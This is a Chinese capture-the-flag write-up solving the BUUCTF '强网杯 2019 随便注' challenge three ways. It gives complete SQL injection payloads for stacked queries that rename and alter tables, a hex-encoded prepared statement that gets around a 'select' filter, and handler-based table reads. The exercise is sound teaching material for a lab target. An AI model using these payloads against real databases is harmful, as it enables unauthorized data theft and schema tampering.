buuctf[强网杯 2019]随便注 1(超详细,三种解法)

2023-10-27 16:41:08 浏览数 (1)

第一种解法 堆叠注入

网页环境

判断是否是字符型注入 1'

判断是否存在关键字过滤 select

联合查询被过滤,只能用堆叠注入了 查看有几个字段 1' order by 2#

正常回显 1' order by 3#

回显报错,可以看出只有两个字段 查看所有数据库 1'; show databases;

查看所有数据表 1'; show tables;

爆words数据表的字段 1';show columns from words;#

爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来) 1';show columns from 1919810931114514;#

可以看到这两个表words表有两个字段,而另一个只有一个字段 后台SQL查询语句应该是: select * from words where id= 所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。 构造payload: 1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

rename修改表名 alter修改已知的列 add增加 int整数类型 unsigned无符号类型 not null- 指示某列不能存储 NULL 值。 primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。 auto_increment-自动赋值,默认从1开始。

成功回显flag:

注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。

第二种解法 编码逃逸 绕过滤

由于select被过滤,考虑使用编码进行绕过 使用select查询就很简单了 构造payload select *from where 1919810931114514``(注意这里使用反引号把这个数字包括住,md编辑器打不上去) *号查询数据表里面的全部内容,这就是爆出flag的原理 进行16进制编码加密 73656c656374202a2066726f6d20603139313938313039333131313435313460 最终payload: 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
  • 0x就是把后面的编码格式转换成16进制编码格式
  • 那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。 参考:https://blog.csdn.net/qq_44657899/article/details/10323914

回显flag:

第三种解法 handler代替select

select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。 构造payload: 1'; handler 1919810931114514open asa; handler a read next;#

handler代替select,以一行一行显示内容 open打开表 as更改表的别名为a read next读取数据文件内的数据次数

上传payload,回显flag:

0 人点赞